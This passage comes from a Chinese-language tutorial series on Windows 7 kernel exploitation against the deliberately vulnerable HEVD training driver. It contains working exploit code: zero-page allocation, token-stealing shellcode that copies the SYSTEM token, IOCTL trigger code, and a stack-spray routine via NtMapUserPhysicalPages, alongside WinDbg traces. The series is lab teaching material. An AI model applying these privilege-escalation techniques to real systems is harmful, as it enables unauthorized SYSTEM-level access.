class="line">[+] UserValue: 0xBAD0B0B0</span><br><span class="line">[+] NullPointerDereference: 0x877B5E68</span><br><span class="line">[+] NullPointerDereference-&gt;Value: 0xBAD0B0B0</span><br><span class="line">[+] NullPointerDereference-&gt;Callback: 0x8D6A3BCE</span><br><span class="line">[+] Triggering Null Pointer Dereference</span><br><span class="line">[+] Null Pointer Dereference Object Callback</span><br><span class="line">****** HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE ******</span><br></pre></td></tr></table></figure><h3 id="零页的构造"><a href="#零页的构造" class="headerlink" title="零页的构造"></a>零页的构造</h3><p>我们还是用前面的方法申请到零页内存，只是我们这里需要修改shellcode指针放置的位置</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">PVOID Zero_addr = (PVOID)<span class="number">1</span>;</span><br><span class="line">SIZE_T RegionSize = <span class="number">0x1000</span>;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Started to alloc zero page...\n"</span>);</span><br><span class="line"><span class="keyword">if</span> (!NT_SUCCESS(NtAllocateVirtualMemory(</span><br><span class="line">INVALID_HANDLE_VALUE,</span><br><span class="line">&amp;Zero_addr,</span><br><span class="line"><span class="number">0</span>,</span><br><span class="line">&amp;RegionSize,</span><br><span class="line">MEM_COMMIT | MEM_RESERVE,</span><br><span class="line">PAGE_READWRITE)) || Zero_addr != <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Failed to alloc zero page!\n"</span>);</span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Success to alloc zero page...\n"</span>);</span><br><span class="line">*(DWORD*)(<span class="number">0x4</span>) = (DWORD)&amp; ShellCode;</span><br></pre></td></tr></table></figure><p>shellcode还是注意需要堆栈的平衡，不然可能就会蓝屏，有趣的是，我在不同的地方测试的效果不一样，也就是说在运行exp之前虚拟机的状态不一样的话，可能效果会不一样(这一点我深有体会)</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">static</span> VOID <span class="title">ShellCode</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">_asm</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">//int 3</span></span><br><span class="line">pop edi</span><br><span class="line">pop esi</span><br><span class="line">pop ebx</span><br><span class="line">pushad</span><br><span class="line">mov eax, fs: [<span class="number">124</span>h]<span class="comment">// Find the _KTHREAD structure for the current thread</span></span><br><span class="line">mov eax, [eax + <span class="number">0x50</span>]   <span class="comment">// Find the _EPROCESS structure</span></span><br><span class="line">mov ecx, eax</span><br><span class="line">mov edx, <span class="number">4</span><span class="comment">// edx = system PID(4)</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// The loop is to get the _EPROCESS of the system</span></span><br><span class="line">find_sys_pid :</span><br><span class="line"> mov eax, [eax + <span class="number">0xb8</span>]<span class="comment">// Find the process activity list</span></span><br><span class="line"> sub eax, <span class="number">0xb8</span>    <span class="comment">// List traversal</span></span><br><span class="line"> cmp[eax + <span class="number">0xb4</span>], edx    <span class="comment">// Determine whether it is SYSTEM based on PID</span></span><br><span class="line"> jnz find_sys_pid</span><br><span class="line"></span><br><span class="line"> <span class="comment">// Replace the Token</span></span><br><span class="line"> mov edx, [eax + <span class="number">0xf8</span>]</span><br><span class="line"> mov[ecx + <span class="number">0xf8</span>], edx</span><br><span class="line"> popad</span><br><span class="line"> <span class="comment">//int 3</span></span><br><span class="line"> ret</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最后我们整合一下代码就可以提权了，总结一下步骤</p><ul><li>初始化句柄等结构</li><li>申请0页内存并放入shellcode位置</li><li>调用<code>TriggerNullPointerDereference</code>函数</li><li>调用cmd提权</li></ul><p>提权效果如下，详细的代码参考<a href="https://github.com/ThunderJie/Windows-Kernel-Exploit/blob/master/HEVD/Null-Pointer-Dereference/Null-Pointer-Dereference/Null-Pointer-Dereference.c" target="_blank" rel="noopener">这里</a></p><p><img src="/2019/06/28/Windows-Kernel-Exploit/13.gif" alt="test"></p><h1 id="0x08：Uninitialized-StackVariable"><a href="#0x08：Uninitialized-StackVariable" class="headerlink" title="0x08：Uninitialized-StackVariable"></a>0x08：Uninitialized-StackVariable</h1><p>这是 Windows kernel exploit 系列的第六部分，前一篇我们讲了空指针解引用，这一篇我们讲内核未初始化栈利用，这篇虽然是内核栈的利用，与前面不同的是，这里需要引入一个新利用手法 =&gt; 栈喷射，需要你对内核栈和用户栈理解的比较深入，看此文章之前你需要有以下准备：</p><ul><li>Windows 7 x86 sp1虚拟机</li><li>配置好windbg等调试工具，建议配合VirtualKD使用</li><li>HEVD+OSR Loader配合构造漏洞环境</li></ul><h2 id="0x01：漏洞原理-5"><a href="#0x01：漏洞原理-5" class="headerlink" title="0x01：漏洞原理"></a>0x01：漏洞原理</h2><h3 id="未初始化栈变量"><a href="#未初始化栈变量" class="headerlink" title="未初始化栈变量"></a>未初始化栈变量</h3><p>我们还是先用IDA分析<code>HEVD.sys</code>，找到相应的函数<code>TriggerUninitializedStackVariable</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">int</span> __<span class="function">stdcall <span class="title">TriggerUninitializedStackVariable</span><span class="params">(<span class="keyword">void</span> *UserBuffer)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> UserValue; <span class="comment">// esi</span></span><br><span class="line">  _UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable; <span class="comment">// [esp+10h] [ebp-10Ch]</span></span><br><span class="line">  CPPEH_RECORD ms_exc; <span class="comment">// [esp+104h] [ebp-18h]</span></span><br><span class="line"></span><br><span class="line">  ms_exc.registration.TryLevel = <span class="number">0</span>;</span><br><span class="line">  ProbeForRead(UserBuffer, <span class="number">0xF0</span>u, <span class="number">4u</span>);</span><br><span class="line">  UserValue = *(_DWORD *)UserBuffer;</span><br><span class="line">  DbgPrint(<span class="string">"[+] UserValue: 0x%p\n"</span>, *(_DWORD *)UserBuffer);</span><br><span class="line">  DbgPrint(<span class="string">"[+] UninitializedStackVariable Address: 0x%p\n"</span>, &amp;UninitializedStackVariable);</span><br><span class="line">  <span class="keyword">if</span> ( UserValue == <span class="number">0xBAD0B0B0</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    UninitializedStackVariable.Value = <span class="number">0xBAD0B0B0</span>;</span><br><span class="line">    UninitializedStackVariable.Callback = (<span class="keyword">void</span> (__stdcall *)())UninitializedStackVariableObjectCallback;</span><br><span class="line">  &#125;</span><br><span class="line">  DbgPrint(<span class="string">"[+] UninitializedStackVariable.Value: 0x%p\n"</span>, UninitializedStackVariable.Value);</span><br><span class="line">  DbgPrint(<span class="string">"[+] UninitializedStackVariable.Callback: 0x%p\n"</span>, UninitializedStackVariable.Callback);</span><br><span class="line">  DbgPrint(<span class="string">"[+] Triggering Uninitialized Stack Variable Vulnerability\n"</span>);</span><br><span class="line">  <span class="keyword">if</span> ( UninitializedStackVariable.Callback )</span><br><span class="line">    UninitializedStackVariable.Callback();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>我们仔细分析一下，首先函数将一个值设为0，<code>ms_exc</code>原型如下，它其实就是一个异常处理机制(预示着下面肯定要出异常)，然后我们还是将传入的<code>UserBuffer</code>和 0xBAD0B0B0 比较，如果相等的话就给<code>UninitializedStackVariable</code>函数的一些参数赋值，后面又判断了回调函数的存在性，最后调用回调函数，也就是说，我们传入的值不同的话可能就存在利用点，所以我们将聚焦点移到<code>UninitializedStackVariable</code>函数上</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="class"><span class="keyword">struct</span> <span class="title">CPPEH_RECORD</span>      </span></span><br><span class="line"><span class="class">&#123;</span>      </span><br><span class="line">    DWORD old_esp;  <span class="comment">//ESP     </span></span><br><span class="line">    DWORD exc_ptr;  <span class="comment">//GetExceptionInformation return value     </span></span><br><span class="line">    DWORD prev_er;  <span class="comment">//prev _EXCEPTION_REGISTRATION_RECORD     </span></span><br><span class="line">    DWORD handler;  <span class="comment">//Handler     </span></span><br><span class="line">    DWORD msEH_ptr; <span class="comment">//Scopetable     </span></span><br><span class="line">    DWORD disabled; <span class="comment">//TryLevel     </span></span><br><span class="line">&#125;CPPEH_RECORD,*PCPPEH_RECORD;</span><br></pre></td></tr></table></figure><p>我们来看一下源码里是如何介绍的，显而易见，一个初始化将<code>UninitializedMemory</code>置为了NULL，而另一个没有，要清楚的是我们现在看的是内核的漏洞，与用户模式并不相同，所以审计代码的时候要非常仔细</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">ifdef</span> SECURE</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// Secure Note: This is secure because the developer is properly initializing</span></span><br><span class="line">    <span class="comment">// UNINITIALIZED_MEMORY_STACK to NULL and checks for NULL pointer before calling</span></span><br><span class="line">    <span class="comment">// the callback</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    UNINITIALIZED_MEMORY_STACK UninitializedMemory = &#123; <span class="number">0</span> &#125;;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">else</span></span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// Vulnerability Note: This is a vanilla Uninitialized Memory in Stack vulnerability</span></span><br><span class="line">    <span class="comment">// because the developer is not initializing 'UNINITIALIZED_MEMORY_STACK' structure</span></span><br><span class="line">    <span class="comment">// before calling the callback when 'MagicValue' does not match 'UserValue'</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line"></span><br><span class="line">    UNINITIALIZED_MEMORY_STACK UninitializedMemory;</span><br></pre></td></tr></table></figure><h2 id="0x02：漏洞利用-5"><a href="#0x02：漏洞利用-5" class="headerlink" title="0x02：漏洞利用"></a>0x02：漏洞利用</h2><h3 id="控制码-2"><a href="#控制码-2" class="headerlink" title="控制码"></a>控制码</h3><p>我们还是从控制码入手，在<code>HackSysExtremeVulnerableDriver.h</code>中定位到相应的定义</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> HEVD_IOCTL_UNINITIALIZED_MEMORY_STACK                    IOCTL(0x80B)</span></span><br></pre></td></tr></table></figure><p>然后我们用python计算一下控制码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&gt;&gt;&gt; </span>hex((<span class="number">0x00000022</span> &lt;&lt; <span class="number">16</span>) | (<span class="number">0x00000000</span> &lt;&lt; <span class="number">14</span>) | (<span class="number">0x80b</span> &lt;&lt; <span class="number">2</span>) | <span class="number">0x00000003</span>)</span><br><span class="line"><span class="string">'0x22202f'</span></span><br></pre></td></tr></table></figure><p>我们验证一下我们的代码，我们先传入 buf = 0xBAD0B0B0 观察，构造如下代码</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;Windows.h&gt;</span></span></span><br><span class="line"></span><br><span class="line">HANDLE hDevice = <span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line"><span class="function">BOOL <span class="title">init</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="comment">// Get HANDLE</span></span><br><span class="line">hDevice = CreateFileA(<span class="string">"\\\\.\\HackSysExtremeVulnerableDriver"</span>,</span><br><span class="line">GENERIC_READ | GENERIC_WRITE,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line">OPEN_EXISTING,</span><br><span class="line"><span class="literal">NULL</span>,</span><br><span class="line"><span class="literal">NULL</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Start to get HANDLE...\n"</span>);</span><br><span class="line"><span class="keyword">if</span> (hDevice == INVALID_HANDLE_VALUE || hDevice == <span class="literal">NULL</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> FALSE;</span><br><span class="line">&#125;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Success to get HANDLE!\n"</span>);</span><br><span class="line"><span class="keyword">return</span> TRUE;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">VOID <span class="title">Trigger_shellcode</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DWORD bReturn = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">char</span> buf[<span class="number">4</span>] = &#123; <span class="number">0</span> &#125;;</span><br><span class="line">*(PDWORD32)(buf) = <span class="number">0xBAD0B0B0</span>+<span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">DeviceIoControl(hDevice, <span class="number">0x22202f</span>, buf, <span class="number">4</span>, <span class="literal">NULL</span>, <span class="number">0</span>, &amp;bReturn, <span class="literal">NULL</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> (init() == FALSE)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Failed to get HANDLE!!!\n"</span>);</span><br><span class="line">system(<span class="string">"pause"</span>);</span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">Trigger_shellcode();</span><br><span class="line"></span><br><span class="line"><span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里我们打印的信息如下，可以看到对<code>UninitializedStackVariable</code>的一些对象进行了正确的赋值</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******</span><br><span class="line">[+] UserValue: 0xBAD0B0B0</span><br><span class="line">[+] UninitializedStackVariable Address: 0x8E99B9C8</span><br><span class="line">[+] UninitializedStackVariable.Value: 0xBAD0B0B0</span><br><span class="line">[+] UninitializedStackVariable.Callback: 0x8D6A3EE8</span><br><span class="line">[+] Triggering Uninitialized Stack Variable Vulnerability</span><br><span class="line">[+] Uninitialized Stack Variable Object Callback</span><br><span class="line">****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******</span><br></pre></td></tr></table></figure><p>我们尝试传入不同的值</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">VOID <span class="title">Trigger_shellcode</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">DWORD bReturn = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">char</span> buf[<span class="number">4</span>] = &#123; <span class="number">0</span> &#125;;</span><br><span class="line">*(PDWORD32)(buf) = <span class="number">0xBAD0B0B0</span>+<span class="number">1</span>;</span><br><span class="line"></span><br><span class="line">DeviceIoControl(hDevice, <span class="number">0x22202f</span>, buf, <span class="number">4</span>, <span class="literal">NULL</span>, <span class="number">0</span>, &amp;bReturn, <span class="literal">NULL</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>运行效果如下，因为有异常处理机制，所以这里并不会蓝屏</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">0: kd&gt; g</span><br><span class="line">****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******</span><br><span class="line">[+] UserValue: 0xBAD0B0B1</span><br><span class="line">[+] UninitializedStackVariable Address: 0x97E789C8</span><br><span class="line">[+] UninitializedStackVariable.Value: 0x00000002</span><br><span class="line">[+] UninitializedStackVariable.Callback: 0x00000000</span><br><span class="line">[+] Triggering Uninitialized Stack Variable Vulnerability</span><br><span class="line">****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******</span><br></pre></td></tr></table></figure><p>我们在<code>HEVD!TriggerUninitializedStackVariable+0x8c</code>比较处下断点运行查看</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">1: kd&gt; u 8D6A3F86</span><br><span class="line">HEVD!TriggerUninitializedStackVariable+0x8c [c:\hacksysextremevulnerabledriver\driver\uninitializedstackvariable.c @ 119]:</span><br><span class="line">8d6a3f86 39bdf8feffff    cmp     dword ptr [ebp-108h],edi</span><br><span class="line">8d6a3f8c 7429            je      HEVD!TriggerUninitializedStackVariable+0xbd (8d6a3fb7)</span><br><span class="line">8d6a3f8e ff95f8feffff    call    dword ptr [ebp-108h]</span><br><span class="line">8d6a3f94 eb21            jmp     HEVD!TriggerUninitializedStackVariable+0xbd (8d6a3fb7)</span><br><span class="line">8d6a3f96 8b45ec          mov     eax,dword ptr [ebp-14h]</span><br><span class="line">8d6a3f99 8b00            mov     eax,dword ptr [eax]</span><br><span class="line">8d6a3f9b 8b00            mov     eax,dword ptr [eax]</span><br><span class="line">8d6a3f9d 8945e4          mov     dword ptr [ebp-1Ch],eax</span><br><span class="line">1: kd&gt; ba e1 8D6A3F86</span><br></pre></td></tr></table></figure><p>我们断下来之后用<code>dps esp</code>可以看到我们的 Value 和 Callback ，单步几次观察，可以发现确实已经被SEH异常处理所接手</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line">****** HACKSYS_EVD_IOCTL_UNINITIALIZED_STACK_VARIABLE ******</span><br><span class="line">[+] UserValue: 0xBAD0B0B1</span><br><span class="line">[+] UninitializedStackVariable Address: 0x8FB049C8</span><br><span class="line">[+] UninitializedStackVariable.Value: 0x00000002</span><br><span class="line">[+] UninitializedStackVariable.Callback: 0x00000000</span><br><span class="line">[+] Triggering Uninitialized Stack Variable Vulnerability</span><br><span class="line">Breakpoint 0 hit</span><br><span class="line">HEVD!TriggerUninitializedStackVariable+0x8c:</span><br><span class="line">8d6a3f86 39bdf8feffff    cmp     dword ptr [ebp-108h],edi</span><br><span class="line">3: kd&gt; dps esp</span><br><span class="line">8fb049b8  02da71d7</span><br><span class="line">8fb049bc  88b88460</span><br><span class="line">8fb049c0  88b884d0</span><br><span class="line">8fb049c4  8d6a4ca4 HEVD! ?? ::NNGAKEGL::`string&apos;</span><br><span class="line">8fb049c8  00000002 =&gt; UninitializedStackVariable.Value</span><br><span class="line">8fb049cc  00000000 =&gt; UninitializedStackVariable.Callback</span><br><span class="line">8fb049d0  8684e1b8</span><br><span class="line">8fb049d4  00000002</span><br><span class="line">8fb049d8  8fb049e8</span><br><span class="line">8fb049dc  84218ba9 hal!KfLowerIrql+0x61</span><br><span class="line">8fb049e0  00000000</span><br><span class="line">8fb049e4  00000000</span><br><span class="line">8fb049e8  8fb04a20</span><br><span class="line">8fb049ec  83e7f68b nt!KiSwapThread+0x254</span><br><span class="line">8fb049f0  8684e1b8</span><br><span class="line">8fb049f4  83f2ff08 nt!KiInitialPCR+0x3308</span><br><span class="line">8fb049f8  83f2cd20 nt!KiInitialPCR+0x120</span><br><span class="line">8fb049fc  00000001</span><br><span class="line">8fb04a00  00000000</span><br><span class="line">8fb04a04  8684e1b8</span><br><span class="line">8fb04a08  8684e1b8</span><br><span class="line">8fb04a0c  00000f8e</span><br><span class="line">8fb04a10  c0802000</span><br><span class="line">8fb04a14  8fb04a40</span><br><span class="line">8fb04a18  83e66654 nt!MiUpdateWsle+0x231</span><br><span class="line">8fb04a1c  7606a001</span><br><span class="line">8fb04a20  00000322</span><br><span class="line">8fb04a24  00000129</span><br><span class="line">8fb04a28  00000129</span><br><span class="line">8fb04a2c  86c08220</span><br><span class="line">8fb04a30  00000000</span><br><span class="line">8fb04a34  8670f1b8</span><br><span class="line">3: kd&gt; p</span><br><span class="line">HEVD!TriggerUninitializedStackVariable+0xbd:</span><br><span class="line">8d6a3fb7 c745fcfeffffff  mov     dword ptr [ebp-4],0FFFFFFFEh</span><br><span class="line">3: kd&gt; p</span><br><span class="line">HEVD!TriggerUninitializedStackVariable+0xc4:</span><br><span class="line">8d6a3fbe 8bc7            mov     eax,edi</span><br><span class="line">3: kd&gt; p</span><br><span class="line">HEVD!TriggerUninitializedStackVariable+0xc6:</span><br><span class="line">8d6a3fc0 e894c0ffff      call    HEVD!__SEH_epilog4 (8d6a0059)</span><br></pre></td></tr></table></figure><h3 id="栈喷射-Stack-Spray"><a href="#栈喷射-Stack-Spray" class="headerlink" title="栈喷射(Stack Spray)"></a>栈喷射(Stack Spray)</h3><p>因为程序中会调用回调函数，所以我们希望的是把回调函数设置为我们shellcode的位置，其实如果这里不对回调函数进行验证是否为0，我们可以考虑直接在0页构造我们的shellcode，但是这里对回调函数进行了限制，就需要换一种思路</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">#endif</span><br><span class="line"></span><br><span class="line">        //</span><br><span class="line">        // Call the callback function</span><br><span class="line">        //</span><br><span class="line"></span><br><span class="line">        if (UninitializedMemory.Callback)</span><br><span class="line">        &#123;</span><br><span class="line">            UninitializedMemory.Callback();</span><br><span class="line">        &#125;</span><br></pre></td></tr></table></figure><p>我们需要把回调函数的位置修改成不为0的地址，并且地址指向的是我们的shellcode，这里就需要用到一个新的方法，栈喷射，<a href="https://j00ru.vexillium.org/2011/05/windows-kernel-stack-spraying-techniques/" target="_blank" rel="noopener">j00ru师傅的文章</a>很详细的讲解了这个机制，我简单解释一下，我们始终是在用户模式干扰内核模式，首先你需要了解内核栈和用户栈的结构，然后了解下面这个函数是如何进行栈喷射的，函数原型如下</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> COPY_STACK_SIZE             1024</span></span><br><span class="line"></span><br><span class="line">NTSTATUS</span><br><span class="line"> NtMapUserPhysicalPages (</span><br><span class="line">   __in PVOID VirtualAddress,</span><br><span class="line">   __in ULONG_PTR NumberOfPages,</span><br><span class="line">   __in_ecount_opt(NumberOfPages) PULONG_PTR UserPfnArray</span><br><span class="line"> )</span><br><span class="line">(...)</span><br><span class="line">  ULONG_PTR StackArray[COPY_STACK_SIZE];</span><br></pre></td></tr></table></figure><p>因为<code>COPY_STACK_SIZE</code>的大小是1024，函数的栈最大也就 4096byte ，所以我们只需要传 1024 * 4 = 4096 的大小就可以占满一页内存了，当然我们传的都是我们的shellcode的位置</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">PDWORD StackSpray = (PDWORD)<span class="built_in">malloc</span>(<span class="number">1024</span> * <span class="number">4</span>);</span><br><span class="line"><span class="built_in">memset</span>(StackSpray, <span class="number">0x41</span>, <span class="number">1024</span> * <span class="number">4</span>);</span><br><span class="line"></span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"[+]Spray address is 0x%p\n"</span>, StackSpray);</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">int</span> i = <span class="number">0</span>; i &lt; <span class="number">1024</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line">*(PDWORD)(StackSpray + i) = (DWORD)&amp; ShellCode;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">NtMapUserPhysicalPages(<span class="literal">NULL</span>, 